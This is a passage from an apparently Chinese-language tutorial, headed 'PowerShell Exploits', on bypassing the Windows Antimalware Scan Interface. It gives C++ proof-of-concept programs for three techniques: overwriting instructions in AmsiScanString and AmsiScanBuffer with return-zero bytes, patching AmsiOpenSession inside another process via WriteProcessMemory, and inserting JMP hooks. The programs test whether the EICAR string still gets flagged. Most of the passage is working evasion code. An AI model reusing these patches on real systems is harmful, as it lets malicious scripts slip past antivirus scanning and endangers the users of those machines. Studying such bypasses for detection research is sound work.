    return false;
}

bool PatchAmsiWithShortJmp() {
    std::cout << "\n--- Attempting AMSI Patch with Short JMP (0xEB) ---" << std::endl;
    g_hAmsiModule_EB = LoadLibraryA("amsi.dll");
    if (!g_hAmsiModule_EB) {
        std::cerr << "[-] Short JMP Patch: Failed to load amsi.dll. Error: " << GetLastError() << std::endl;
        return false;
    }

    g_pAmsiScanBuffer_EB = GetProcAddress(g_hAmsiModule_EB, "AmsiScanBuffer");
    if (!g_pAmsiScanBuffer_EB) {
        std::cerr << "[-] Short JMP Patch: Failed to get AmsiScanBuffer address. Error: " << GetLastError() << std::endl;
        FreeLibrary(g_hAmsiModule_EB);
        g_hAmsiModule_EB = NULL;
        return false;
    }
    std::cout << "[+] Short JMP Patch: AmsiScanBuffer found at 0x" << std::hex << (void*)g_pAmsiScanBuffer_EB << std::dec << std::endl;

    unsigned char jumpPatch[] = { 0xEB }; 
    DWORD oldProtect;
    SIZE_T bytesWritten;

    g_originalFirstByte_EB = *(unsigned char*)g_pAmsiScanBuffer_EB;
    std::cout << "[+] Short JMP Patch: Original first byte of AmsiScanBuffer is 0x" << std::hex << (int)g_originalFirstByte_EB << std::dec << std::endl;


    if (!VirtualProtect((LPVOID)g_pAmsiScanBuffer_EB, sizeof(jumpPatch), PAGE_EXECUTE_READWRITE, &oldProtect)) {
        std::cerr << "[-] Short JMP Patch: VirtualProtect failed. Error: " << GetLastError() << std::endl;
        FreeLibrary(g_hAmsiModule_EB);
        g_hAmsiModule_EB = NULL;
        g_pAmsiScanBuffer_EB = NULL;
        g_originalFirstByte_EB = 0;
        return false;
    }

    if (!WriteProcessMemory(GetCurrentProcess(), (LPVOID)g_pAmsiScanBuffer_EB, jumpPatch, sizeof(jumpPatch), &bytesWritten) || bytesWritten != sizeof(jumpPatch)) {
        std::cerr << "[-] Short JMP Patch: WriteProcessMemory failed. Error: " << GetLastError() << std::endl;
        VirtualProtect((LPVOID)g_pAmsiScanBuffer_EB, sizeof(jumpPatch), oldProtect, &oldProtect); // Try to restore protection
        FreeLibrary(g_hAmsiModule_EB);
        g_hAmsiModule_EB = NULL;
        g_pAmsiScanBuffer_EB = NULL;
        g_originalFirstByte_EB = 0;
        return false;
    }
    std::cout << "[+] Short JMP Patch: Wrote 0xEB to AmsiScanBuffer." << std::endl;


    DWORD tempProtect;
    if (!VirtualProtect((LPVOID)g_pAmsiScanBuffer_EB, sizeof(jumpPatch), oldProtect, &tempProtect)) {
        std::cerr << "[-] Short JMP Patch: Warning - Failed to restore protection after write. Error: " << GetLastError() << std::endl;
    }


    FlushInstructionCache(GetCurrentProcess(), (LPVOID)g_pAmsiScanBuffer_EB, sizeof(jumpPatch));
    std::cout << "[+] Short JMP Patch: Instruction cache flushed." << std::endl;
    return true;
}


int main() {
    if (!PatchAmsiWithShortJmp()) {
        std::cerr << "[-] Failed to apply the Short JMP (0xEB) patch." << std::endl;
        if (g_hAmsiModule_EB) FreeLibrary(g_hAmsiModule_EB);
        return 1;
    }

    // Test the 0xEB patch
    HAMSICONTEXT amsiContext_eb = NULL;
    AMSI_RESULT scanResult_eb = AMSI_RESULT_NOT_DETECTED;
    HRESULT hrScan_eb;
    bool crashed_eb = false;

    AmsiInitialize_t pAmsiInitialize = (AmsiInitialize_t)GetProcAddress(g_hAmsiModule_EB, "AmsiInitialize");
    AmsiUninitialize_t pAmsiUninitialize = (AmsiUninitialize_t)GetProcAddress(g_hAmsiModule_EB, "AmsiUninitialize");
    AmsiScanBuffer_t pPatchedAmsiScanBuffer = (AmsiScanBuffer_t)g_pAmsiScanBuffer_EB; // Address is already patched

    if (!pAmsiInitialize || !pAmsiUninitialize || !pPatchedAmsiScanBuffer) {
        std::cerr << "[-] Short JMP Test: Failed to get AMSI function pointers after patch." << std::endl;
        RestoreAmsiShortJmpPatch();
        if (g_hAmsiModule_EB) FreeLibrary(g_hAmsiModule_EB);
        return 1;
    }

    HRESULT hrInit = pAmsiInitialize(L"AMSI_EB_Patch_Test", &amsiContext_eb);
    if (FAILED(hrInit)) {
        std::cerr << "[-] Short JMP Test: AmsiInitialize failed. HRESULT: 0x" << std::hex << hrInit << std::dec << std::endl;
        RestoreAmsiShortJmpPatch();
        if (g_hAmsiModule_EB) FreeLibrary(g_hAmsiModule_EB);
        return 1;
    }
    std::cout << "[+] Short JMP Test: AMSI Initialized." << std::endl;
    std::cout << "[+] Short JMP Test: Attempting to call patched AmsiScanBuffer (EXPECT CRASH)..." << std::endl;

    const char* eicarTestString = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
    hrScan_eb = CallPatchedAmsiScanBuffer_SEH(
        pPatchedAmsiScanBuffer,
        amsiContext_eb,
        (PVOID)eicarTestString,
        (ULONG)strlen(eicarTestString),
        L"EICAR_Test_EB_Patched",
        NULL,
        &scanResult_eb,
        &crashed_eb
    );

    if (crashed_eb) {
        std::cout << "[+] Short JMP Test: Call to patched AmsiScanBuffer CRASHED as expected." << std::endl;
    }
    else {
        std::cout << "[-] Short JMP Test: Call to patched AmsiScanBuffer DID NOT CRASH (unexpected for this patch)." << std::endl;
        std::cout << "    HRESULT: 0x" << std::hex << hrScan_eb << std::dec << ", AMSI_RESULT: " << scanResult_eb << std::endl;
    }

    if (amsiContext_eb) {
        pAmsiUninitialize(amsiContext_eb);
        std::cout << "[+] Short JMP Test: AMSI Uninitialized." << std::endl;
    }

    RestoreAmsiShortJmpPatch();

    if (g_hAmsiModule_EB) {
        FreeLibrary(g_hAmsiModule_EB);
        std::cout << "[+] Short JMP Test: amsi.dll freed." << std::endl;
        g_hAmsiModule_EB = NULL;
    }
    g_pAmsiScanBuffer_EB = NULL;


    std::cout << "\n--- Test Summary (Short JMP 0xEB Patch) ---" << std::endl;
    if (crashed_eb) {
        std::cout << "RESULT: PASS - The 0xEB patch caused the expected crash, demonstrating its destabilizing effect." << std::endl;
        return 0;
    }
    else {
        std::cout << "RESULT: FAIL - The 0xEB patch did not cause a crash, which is unexpected. Further investigation needed." << std::endl;
        return 1;
    }
}

PowerShell Exploits

**Instruction Overwriting **

简单的中和指令覆盖函数 start

unsigned char nopPatch[] = {0x48, 0x31, 0xC0};  // XOR RAX, RAX
WriteProcessMemory(GetCurrentProcess(), functionAddr, nopPatch, sizeof(nopPatch), NULL);
  • nopPatch 包含指令 XOR RAX, RAX(机器码为 48 31 C0)。
  • 该指令清除 RAX 寄存器,该寄存器通常用于 x64 调用约定中的返回值。
  • 通过清除 RAX,我们确保函数始终返回 0,表示成功并绕过扫描。

POC:

#include <windows.h>
#include <amsi.h>
#include <iostream>
#include <vector>
#include <string>

#pragma comment(lib, "amsi.lib")

typedef HRESULT(WINAPI* AmsiInitialize_t)(LPCWSTR appName, HAMSICONTEXT* amsiContext);
typedef void (WINAPI* AmsiUninitialize_t)(HAMSICONTEXT amsiContext);
typedef HRESULT(WINAPI* AmsiOpenSession_t)(HAMSICONTEXT amsiContext, HAMSISESSION* amsiSession);
typedef void (WINAPI* AmsiCloseSession_t)(HAMSICONTEXT amsiContext, HAMSISESSION amsiSession);
typedef HRESULT(WINAPI* AmsiScanString_t)(HAMSICONTEXT amsiContext, LPCWSTR string, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result);

const WCHAR* EICAR_STRING_WIDE = L"X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";

HRESULT CallPatchedAmsiScanString_SEH(
    AmsiScanString_t pActualAmsiScanString,
    HAMSICONTEXT amsiContext,
    LPCWSTR stringToScan,
    LPCWSTR contentName,
    HAMSISESSION amsiSession,
    AMSI_RESULT* outScanResult,
    bool* outCrashed
) {
    *outCrashed = false;
    HRESULT hr = E_FAIL; 

    __try {
        hr = pActualAmsiScanString(amsiContext, stringToScan, contentName, amsiSession, outScanResult);
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        DWORD exceptionCode = GetExceptionCode();
        std::cerr << "!!! CRASH DETECTED within CallPatchedAmsiScanString_SEH !!!" << std::endl;
        std::cerr << "    Exception code: 0x" << std::hex << exceptionCode << std::dec << std::endl;
        *outCrashed = true;
        hr = HRESULT_FROM_WIN32(exceptionCode);
        if (outScanResult) { // Safety check
            *outScanResult = AMSI_RESULT_NOT_DETECTED; 
        }
    }
    return hr;
}

int main() {
    HRESULT hr = S_OK;
    HMODULE amsiDll = NULL;
    AmsiInitialize_t pAmsiInitialize = NULL;
    AmsiUninitialize_t pAmsiUninitialize = NULL;
    AmsiOpenSession_t pAmsiOpenSession = NULL;
    AmsiCloseSession_t pAmsiCloseSession = NULL;
    AmsiScanString_t pAmsiScanStringFunc = NULL; 
    FARPROC functionAddr = NULL;             

    HAMSICONTEXT amsiContext = NULL;
    HAMSISESSION amsiSession = NULL;

    AMSI_RESULT scanResultBefore = AMSI_RESULT_CLEAN;
    AMSI_RESULT scanResultAfter = AMSI_RESULT_CLEAN; 
    HRESULT hrScanBefore = S_OK;
    HRESULT hrScanAfter = S_OK;

    // Patch: XOR EAX, EAX; RET  (0x31, 0xC0, 0xC3)
    unsigned char patch[] = { 0x31, 0xC0, 0xC3 };
    const HRESULT EXPECTED_PATCHED_HRESULT = S_OK; // 0x00000000

    std::vector<unsigned char> originalBytes(sizeof(patch));
    DWORD oldProtect = 0;
    SIZE_T bytesWritten = 0;
    SIZE_T bytesRead = 0;
    bool patchAppliedSuccessfully = false;
    bool crashedDuringPatchedCall = false;

    std::cout << "--- AMSI Patch Test (AmsiScanString: XOR EAX, EAX; RET) ---" << std::endl;

    // 1. Load amsi.dll
    amsiDll = LoadLibraryA("amsi.dll");
    if (!amsiDll) { std::cerr << "Failed to load amsi.dll: " << GetLastError() << std::endl; return 1; }
    std::cout << "[+] Loaded amsi.dll" << std::endl;

    // 2. Get function addresses
    pAmsiInitialize = (AmsiInitialize_t)GetProcAddress(amsiDll, "AmsiInitialize");
    pAmsiUninitialize = (AmsiUninitialize_t)GetProcAddress(amsiDll, "AmsiUninitialize");
    pAmsiOpenSession = (AmsiOpenSession_t)GetProcAddress(amsiDll, "AmsiOpenSession");
    pAmsiCloseSession = (AmsiCloseSession_t)GetProcAddress(amsiDll, "AmsiCloseSession");
    functionAddr = GetProcAddress(amsiDll, "AmsiScanString");
    pAmsiScanStringFunc = (AmsiScanString_t)functionAddr;

    if (!pAmsiInitialize || !pAmsiUninitialize || !pAmsiOpenSession || !pAmsiCloseSession || !pAmsiScanStringFunc) {
        std::cerr << "Failed to get AMSI function addresses: " << GetLastError() << std::endl;
        FreeLibrary(amsiDll);
        return 1;
    }
    std::cout << "[+] Got AMSI function addresses. AmsiScanString at 0x" << std::hex << (void*)functionAddr << std::dec << std::endl;

    // 3. Initialize AMSI
    hr = pAmsiInitialize(L"AMSI_Ret0_ScanString_Test", &amsiContext);
    if (FAILED(hr)) { std::cerr << "AmsiInitialize failed: 0x" << std::hex << hr << std::endl; FreeLibrary(amsiDll); return 1; }
    std::cout << "[+] AmsiInitialize succeeded." << std::endl;

    // 4. Open AMSI Session
    hr = pAmsiOpenSession(amsiContext, &amsiSession);
    if (FAILED(hr)) { std::cerr << "AmsiOpenSession failed: 0x" << std::hex << hr << std::endl; pAmsiUninitialize(amsiContext); FreeLibrary(amsiDll); return 1; }
    std::cout << "[+] AmsiOpenSession succeeded." << std::endl;

    // 5. (Optional) Scan *before* patching
    std::cout << "\n--- Scanning EICAR (wide) *before* patch ---" << std::endl;
    hrScanBefore = pAmsiScanStringFunc(amsiContext, EICAR_STRING_WIDE, L"EICAR Test Original (Wide)", amsiSession, &scanResultBefore);
    if (SUCCEEDED(hrScanBefore)) {
        std::cout << "[+] AmsiScanString (original) call succeeded." << std::endl;
        std::cout << "    Scan Result: " << scanResultBefore << " (0=Clean, 1=NotDetected, >=32768=Detected)" << std::endl;
        if (AmsiResultIsMalware(scanResultBefore)) {
            std::cout << "    Expected: EICAR string detected as malware." << std::endl;
        }
        else {
            std::cout << "    Warning: EICAR string was *not* detected by original function." << std::endl;
        }
    }
    else {
        std::cerr << "    Warning: AmsiScanString (original) call failed. HRESULT: 0x" << std::hex << hrScanBefore << std::dec << std::endl;
    }

    // --- Apply the Patch ---
    std::cout << "\n--- Applying Patch (XOR EAX, EAX; RET) to AmsiScanString ---" << std::endl;

    // 6. Make memory writable, save original bytes
    if (!VirtualProtect((LPVOID)functionAddr, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProtect)) {
        std::cerr << "VirtualProtect (for write) failed: " << GetLastError() << std::endl;
        pAmsiCloseSession(amsiContext, amsiSession); pAmsiUninitialize(amsiContext); FreeLibrary(amsiDll); return 1;
    }
    std::cout << "[+] Set memory protection to PAGE_EXECUTE_READWRITE." << std::endl;

    if (!ReadProcessMemory(GetCurrentProcess(), (LPCVOID)functionAddr, originalBytes.data(), sizeof(patch), &bytesRead) || bytesRead != sizeof(patch)) {
        std::cerr << "ReadProcessMemory (read original) failed: " << GetLastError() << std::endl;
        VirtualProtect((LPVOID)functionAddr, sizeof(patch), oldProtect, &oldProtect);
        pAmsiCloseSession(amsiContext, amsiSession); pAmsiUninitialize(amsiContext); FreeLibrary(amsiDll); return 1;
    }
    std::cout << "[+] Successfully read original " << bytesRead << " bytes." << std::endl;

    // 7. Apply the patch
    if (WriteProcessMemory(GetCurrentProcess(), (LPVOID)functionAddr, patch, sizeof(patch), &bytesWritten) && bytesWritten == sizeof(patch)) {
        patchAppliedSuccessfully = true;
        std::cout << "[+] WriteProcessMemory succeeded. Wrote " << bytesWritten << " bytes (XOR EAX,EAX; RET)." << std::endl;
        FlushInstructionCache(GetCurrentProcess(), (LPCVOID)functionAddr, sizeof(patch));
        std::cout << "[+] Flushed instruction cache." << std::endl;
    }
    else {
        std::cerr << "WriteProcessMemory failed: " << GetLastError() << std::endl;
        if (bytesRead == sizeof(patch)) { WriteProcessMemory(GetCurrentProcess(), (LPVOID)functionAddr, originalBytes.data(), sizeof(patch), NULL); }
        VirtualProtect((LPVOID)functionAddr, sizeof(patch), oldProtect, &oldProtect);
        pAmsiCloseSession(amsiContext, amsiSession); pAmsiUninitialize(amsiContext); FreeLibrary(amsiDll); return 1;
    }

    // --- Test the Patched Function ---
    std::cout << "\n--- Scanning EICAR (wide) *after* patch ---" << std::endl;

    // 8. Call the patched function using SEH helper
    hrScanAfter = CallPatchedAmsiScanString_SEH(
        pAmsiScanStringFunc,
        amsiContext,
        EICAR_STRING_WIDE,
        L"EICAR Test Patched (Wide)",
        amsiSession,
        &scanResultAfter,
        &crashedDuringPatchedCall
    );

    bool testPassed = false;
    if (!crashedDuringPatchedCall) {
        std::cout << "[+] Patched AmsiScanString call completed." << std::endl;
        std::cout << "    Returned HRESULT: 0x" << std::hex << hrScanAfter << std::dec << std::endl;
        std::cout << "    Expected HRESULT for bypass: 0x" << std::hex << EXPECTED_PATCHED_HRESULT << std::dec << " (S_OK)" << std::endl;
        std::cout << "    Output AMSI_RESULT: " << scanResultAfter << std::endl;

        // 9. Check results
        if (hrScanAfter == EXPECTED_PATCHED_HRESULT) {
            std::cout << "    HRESULT matches S_OK." << std::endl;
            // For this patch, scanResultAfter might be uninitialized or 0.
            // If it's 0 (AMSI_RESULT_CLEAN) or 1 (AMSI_RESULT_NOT_DETECTED), the bypass is effective.
            if (!AmsiResultIsMalware(scanResultAfter)) {
                std::cout << "    AMSI_RESULT indicates not malware (e.g., " << AMSI_RESULT_CLEAN << " or " << AMSI_RESULT_NOT_DETECTED << ")." << std::endl;
                testPassed = true;
            }
            else {
                std::cout << "    WARNING: HRESULT S_OK, but AMSI_RESULT still indicates malware (" << scanResultAfter << "). Patch may not fully bypass detection logic for the result parameter." << std::endl;
            }
        }
    }
    else {
        std::cout << "    The call to patched AmsiScanString CRASHED." << std::endl;
    }

    // --- Cleanup ---
    std::cout << "\n--- Cleaning Up ---" << std::endl;

    // 10. Restore the original bytes
    if (patchAppliedSuccessfully) {
        // Memory protection is likely still PAGE_EXECUTE_READWRITE.
        if (WriteProcessMemory(GetCurrentProcess(), (LPVOID)functionAddr, originalBytes.data(), originalBytes.size(), &bytesWritten) && bytesWritten == originalBytes.size()) {
            std::cout << "[+] Restored original bytes to AmsiScanString." << std::endl;
            FlushInstructionCache(GetCurrentProcess(), (LPCVOID)functionAddr, originalBytes.size());
            std::cout << "[+] Flushed instruction cache after restoration." << std::endl;
        }
        else {
            std::cerr << "Error: Failed to restore original bytes: " << GetLastError() << std::endl;
        }
        // Restore original memory protection
        DWORD tempOldProtect;
        if (!VirtualProtect((LPVOID)functionAddr, sizeof(patch), oldProtect, &tempOldProtect)) { // Use 'oldProtect' captured before patching
            std::cerr << "Error: Failed to restore original memory protection: " << GetLastError() << std::endl;
        }
        else {
            std::cout << "[+] Restored original memory protection." << std::endl;
        }
    }

    // 11. Close Session
    if (amsiSession) {
        pAmsiCloseSession(amsiContext, amsiSession);
        std::cout << "[+] AmsiCloseSession called." << std::endl;
    }
    // 12. Uninitialize AMSI
    if (amsiContext) {
        pAmsiUninitialize(amsiContext);
        std::cout << "[+] AmsiUninitialize called." << std::endl;
    }
    // 13. Free the library
    if (amsiDll) {
        FreeLibrary(amsiDll);
        std::cout << "[+] Freed amsi.dll" << std::endl;
    }

    // 14. Print final result
    std::cout << "\n--- Test Result ---" << std::endl;
    if (crashedDuringPatchedCall) {
        std::cout << "FAIL: The patch caused AmsiScanString to CRASH." << std::endl;
        return 1;
    }
    else if (testPassed) {
        std::cout << "PASS: Patched AmsiScanString returned S_OK and EICAR was not flagged as malware." << std::endl;
        std::cout << "      This suggests the patch successfully bypassed AMSI for this string." << std::endl;
        return 0;
    }
    else {
        std::cout << "FAIL: Patched AmsiScanString did not behave as a clean S_OK bypass or conditions not fully met." << std::endl;
        std::cout << "      HRESULT: 0x" << std::hex << hrScanAfter << std::dec
            << ", AMSI_RESULT: " << scanResultAfter << std::dec << std::endl;
        return 1;
    }
}

PowerShell Exploits

Remote Process Injection

允许在不同的进程中修补 AMSI

HANDLE hProc = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid);
FARPROC functionAddr = GetProcAddress(LoadLibraryA("amsi.dll"), "AmsiOpenSession");
unsigned char bypass[] = {0x48, 0x31, 0xC0};
WriteProcessMemory(hProc, (LPVOID)functionAddr, bypass, sizeof(bypass), NULL);
CloseHandle(hProc);
  • OpenProcess() 获取目标进程的句柄
  • AMSI DLL 中找到 AmsiOpenSession 函数
  • XOR RAX, RAX 指令
  • WriteProcessMemory() 将此代码注入目标进程的内存空间
  • 关闭进程句柄清理资源

POC:

// Target.cpp
#include <windows.h>
#include <amsi.h>
#include <iostream>
#include <string>

#pragma comment(lib, "amsi.lib")

// Define function pointer types
typedef HRESULT(WINAPI* AmsiInitialize_t)(LPCWSTR appName, HAMSICONTEXT* amsiContext);
typedef void (WINAPI* AmsiUninitialize_t)(HAMSICONTEXT amsiContext);
typedef HRESULT(WINAPI* AmsiOpenSession_t)(HAMSICONTEXT amsiContext, HAMSISESSION* amsiSession);
typedef void (WINAPI* AmsiCloseSession_t)(HAMSICONTEXT amsiContext, HAMSISESSION amsiSession);

int main() {
    std::cout << "Target Process Started. PID: " << GetCurrentProcessId() << std::endl;
    std::cout << "Ensure amsi.dll is loaded before patcher attempts to find AmsiOpenSession." << std::endl;

    HMODULE amsiDll = LoadLibraryA("amsi.dll");
    if (!amsiDll) {
        std::cerr << "Target: Failed to load amsi.dll. Error: " << GetLastError() << std::endl;
        return 1;
    }
    std::cout << "Target: amsi.dll loaded at 0x" << std::hex << (void*)amsiDll << std::dec << std::endl;

    AmsiInitialize_t pAmsiInitialize = (AmsiInitialize_t)GetProcAddress(amsiDll, "AmsiInitialize");
    AmsiUninitialize_t pAmsiUninitialize = (AmsiUninitialize_t)GetProcAddress(amsiDll, "AmsiUninitialize");
    AmsiOpenSession_t pAmsiOpenSession = (AmsiOpenSession_t)GetProcAddress(amsiDll, "AmsiOpenSession");
    AmsiCloseSession_t pAmsiCloseSession = (AmsiCloseSession_t)GetProcAddress(amsiDll, "AmsiCloseSession");

    if (!pAmsiInitialize || !pAmsiUninitialize || !pAmsiOpenSession || !pAmsiCloseSession) {
        std::cerr << "Target: Failed to get AMSI function addresses. Error: " << GetLastError() << std::endl;
        FreeLibrary(amsiDll);
        return 1;
    }

    HAMSICONTEXT amsiContext = NULL;
    HAMSISESSION amsiSession = NULL;
    HRESULT hr;

    hr = pAmsiInitialize(L"TargetApp", &amsiContext);
    if (FAILED(hr)) {
        std::cerr << "Target: AmsiInitialize failed. HRESULT: 0x" << std::hex << hr << std::dec << std::endl;
        FreeLibrary(amsiDll);
        return 1;
    }
    std::cout << "Target: AmsiInitialize succeeded." << std::endl;

    std::cout << "\nTarget: Press Enter to attempt first AmsiOpenSession (should be unpatched)..." << std::endl;
    std::cin.get();

    hr = pAmsiOpenSession(amsiContext, &amsiSession);
    std::cout << "Target: First AmsiOpenSession call HRESULT: 0x" << std::hex << hr << std::dec << std::endl;
    if (SUCCEEDED(hr) && amsiSession) {
        std::cout << "Target: First AmsiOpenSession succeeded, session handle: 0x" << std::hex << amsiSession << std::dec << std::endl;
        pAmsiCloseSession(amsiContext, amsiSession); // Close it immediately
        amsiSession = NULL;
    }
    else {
        std::cout << "Target: First AmsiOpenSession failed or returned null session." << std::endl;
    }

    std::cout << "\nTarget: Patcher should run now and apply the patch to AmsiOpenSession." << std::endl;
    std::cout << "Target: After patcher confirms, press Enter to attempt second AmsiOpenSession (EXPECTING CRASH OR UNSTABLE BEHAVIOR)..." << std::endl;
    std::cin.get();

    std::cout << "Target: Attempting second AmsiOpenSession call (post-patch)..." << std::endl;
    // This call is very likely to crash due to the incomplete patch
    __try {
        hr = pAmsiOpenSession(amsiContext, &amsiSession); // This is the patched call
        std::cout << "Target: Second AmsiOpenSession call HRESULT: 0x" << std::hex << hr << std::dec << std::endl;
        if (SUCCEEDED(hr) && amsiSession) {
            std::cout << "Target: Second AmsiOpenSession succeeded (unexpected for this patch!), session handle: 0x" << std::hex << amsiSession << std::dec << std::endl;
            // If it miraculously worked and returned a valid session, try to close it.
            pAmsiCloseSession(amsiContext, amsiSession);
            amsiSession = NULL;
        }
        else if (SUCCEEDED(hr) && !amsiSession) {
            std::cout << "Target: Second AmsiOpenSession returned S_OK, but session is NULL (as expected if only RAX=0 was set)." << std::endl;
        }
        else {
            std::cout << "Target: Second AmsiOpenSession failed." << std::endl;
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        std::cerr << "Target: CRASHED during second AmsiOpenSession call as expected! Exception code: 0x"
            << std::hex << GetExceptionCode() << std::dec << std::endl;
    }


    if (amsiContext) {
        pAmsiUninitialize(amsiContext);
        std::cout << "Target: AmsiUninitialize called." << std::endl;
    }
    if (amsiDll) {
        FreeLibrary(amsiDll);
        std::cout << "Target: amsi.dll freed." << std::endl;
    }

    std::cout << "Target: Exiting. Press Enter." << std::endl;
    std::cin.get();
    return 0;
}

PowerShell Exploits

**Function Hooking **

将 AMSI 函数重定向到自定义实现

FARPROC amsiScanAddr = GetProcAddress(LoadLibrary("amsi.dll"), "AmsiScanBuffer");
unsigned char hook[] = {0xE9};
WriteProcessMemory(GetCurrentProcess(), amsiScanAddr, hook, sizeof(hook), NULL);
  • AmsiScanBuffer 函数。
  • 0xE9,这是 x86/x64 汇编中近跳转的操作码。
  • 需要计算并写入跳转偏移量,以重定向到自定义函数。

POC:

#include <windows.h>
#include <amsi.h>
#include <iostream>
#include <vector>
#include <string>

#pragma comment(lib, "amsi.lib")

typedef HRESULT(WINAPI* AmsiInitialize_t)(LPCWSTR appName, HAMSICONTEXT* amsiContext);
typedef void (WINAPI* AmsiUninitialize_t)(HAMSICONTEXT amsiContext);
typedef HRESULT(WINAPI* AmsiScanBuffer_t)(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result);

const char* EICAR_STRING = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";

HRESULT CallPatchedAmsiScanBuffer_SEH(
    AmsiScanBuffer_t pActualAmsiScanBuffer,
    HAMSICONTEXT amsiContext,
    PVOID buffer,
    ULONG length,
    LPCWSTR contentName,
    HAMSISESSION amsiSession,
    AMSI_RESULT* outScanResult,
    bool* outCrashed
) {
    *outCrashed = false;
    HRESULT hr = E_FAIL; 

    __try {
        hr = pActualAmsiScanBuffer(amsiContext, buffer, length, contentName, amsiSession, outScanResult);
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        DWORD exceptionCode = GetExceptionCode();
        std::cerr << "!!! CRASH DETECTED within CallPatchedAmsiScanBuffer_SEH !!!" << std::endl;
        std::cerr << "    Exception code: 0x" << std::hex << exceptionCode << std::dec << std::endl;
        *outCrashed = true;
        hr = HRESULT_FROM_WIN32(exceptionCode);
        if (outScanResult) { 
            *outScanResult = AMSI_RESULT_NOT_DETECTED; 
        }
    }
    return hr;
}


int main() {
    HRESULT hr = S_OK;
    HMODULE amsiDll = NULL;
    AmsiInitialize_t pAmsiInitialize = NULL;
    AmsiUninitialize_t pAmsiUninitialize = NULL;
    AmsiScanBuffer_t pAmsiScanBufferFunc = NULL; 
    FARPROC amsiScanAddr = NULL;                
    HAMSICONTEXT amsiContext = NULL;

    AMSI_RESULT scanResultBefore = AMSI_RESULT_CLEAN;
    AMSI_RESULT scanResultAfter = AMSI_RESULT_CLEAN;
    HRESULT hrScanBefore = S_OK;
    HRESULT hrScanAfter = S_OK;

    // The single-byte patch (incomplete JMP rel32)
    unsigned char hook[] = { 0xE9 };
    std::vector<unsigned char> originalBytes(sizeof(hook));

    DWORD oldProtect = 0;
    SIZE_T bytesWritten = 0;
    SIZE_T bytesRead = 0;
    bool patchAppliedSuccessfully = false;
    bool crashedDuringPatchedCall = false;

    std::cout << "--- AMSI Patch Test (AmsiScanBuffer: JMP E9 - Incomplete) ---" << std::endl;

    // 1. Load amsi.dll
    amsiDll = LoadLibraryA("amsi.dll");
    if (!amsiDll) { std::cerr << "Failed to load amsi.dll: " << GetLastError() << std::endl; return 1; }
    std::cout << "[+] Loaded amsi.dll" << std::endl;

    // 2. Get function addresses
    pAmsiInitialize = (AmsiInitialize_t)GetProcAddress(amsiDll, "AmsiInitialize");
    pAmsiUninitialize = (AmsiUninitialize_t)GetProcAddress(amsiDll, "AmsiUninitialize");
    amsiScanAddr = GetProcAddress(amsiDll, "AmsiScanBuffer"); // Address for patching
    pAmsiScanBufferFunc = (AmsiScanBuffer_t)amsiScanAddr;   // Cast for calling

    if (!pAmsiInitialize || !pAmsiUninitialize || !pAmsiScanBufferFunc) {
        std::cerr << "Failed to get AMSI function addresses: " << GetLastError() << std::endl;
        FreeLibrary(amsiDll);
        return 1;
    }
    std::cout << "[+] Got AMSI function addresses. AmsiScanBuffer at 0x" << std::hex << (void*)amsiScanAddr << std::dec << std::endl;

    // 3. Initialize AMSI
    hr = pAmsiInitialize(L"AMSI_E9_Crash_Test", &amsiContext);
    if (FAILED(hr)) { std::cerr << "AmsiInitialize failed: 0x" << std::hex << hr << std::endl; FreeLibrary(amsiDll); return 1; }
    std::cout << "[+] AmsiInitialize succeeded." << std::endl;

    // 4. (Optional) Scan *before* patching
    std::cout << "\n--- Scanning EICAR *before* patch ---" << std::endl;
    hrScanBefore = pAmsiScanBufferFunc(amsiContext, (PVOID)EICAR_STRING, (ULONG)strlen(EICAR_STRING), L"EICAR Test Original", NULL, &scanResultBefore);
    if (SUCCEEDED(hrScanBefore)) {
        std::cout << "[+] AmsiScanBuffer (original) call succeeded." << std::endl;
        std::cout << "    Scan Result: " << scanResultBefore << std::endl;
        if (AmsiResultIsMalware(scanResultBefore)) std::cout << "    Expected: EICAR detected." << std::endl;
        else std::cout << "    Warning: EICAR *not* detected by original." << std::endl;
    }
    else {
        std::cerr << "    Warning: AmsiScanBuffer (original) call failed. HRESULT: 0x" << std::hex << hrScanBefore << std::dec << std::endl;
    }


    // --- Apply the Patch ---
    std::cout << "\n--- Applying Patch (0xE9 to first byte of AmsiScanBuffer) ---" << std::endl;

    // 5. Make memory writable, save original byte(s)
    if (!VirtualProtect((LPVOID)amsiScanAddr, sizeof(hook), PAGE_EXECUTE_READWRITE, &oldProtect)) {
        std::cerr << "VirtualProtect (for write) failed: " << GetLastError() << std::endl;
        pAmsiUninitialize(amsiContext); FreeLibrary(amsiDll); return 1;
    }
    std::cout << "[+] Set memory protection to PAGE_EXECUTE_READWRITE for " << sizeof(hook) << " byte(s)." << std::endl;

    if (!ReadProcessMemory(GetCurrentProcess(), (LPCVOID)amsiScanAddr, originalBytes.data(), sizeof(hook), &bytesRead) || bytesRead != sizeof(hook)) {
        std::cerr << "ReadProcessMemory (read original) failed: " << GetLastError() << std::endl;
        VirtualProtect((LPVOID)amsiScanAddr, sizeof(hook), oldProtect, &oldProtect);
        pAmsiUninitialize(amsiContext); FreeLibrary(amsiDll); return 1;
    }
    std::cout << "[+] Successfully read original " << bytesRead << " byte(s): ";
    for (size_t i = 0; i < originalBytes.size(); ++i) std::cout << "0x" << std::hex << (int)originalBytes[i] << " ";
    std::cout << std::dec << std::endl;

    // 6. Apply the patch
    if (WriteProcessMemory(GetCurrentProcess(), (LPVOID)amsiScanAddr, hook, sizeof(hook), &bytesWritten) && bytesWritten == sizeof(hook)) {
        patchAppliedSuccessfully = true;
        std::cout << "[+] WriteProcessMemory succeeded. Wrote " << bytesWritten << " byte(s) (0xE9)." << std::endl;
        FlushInstructionCache(GetCurrentProcess(), (LPCVOID)amsiScanAddr, sizeof(hook));
        std::cout << "[+] Flushed instruction cache." << std::endl;
    }
    else {
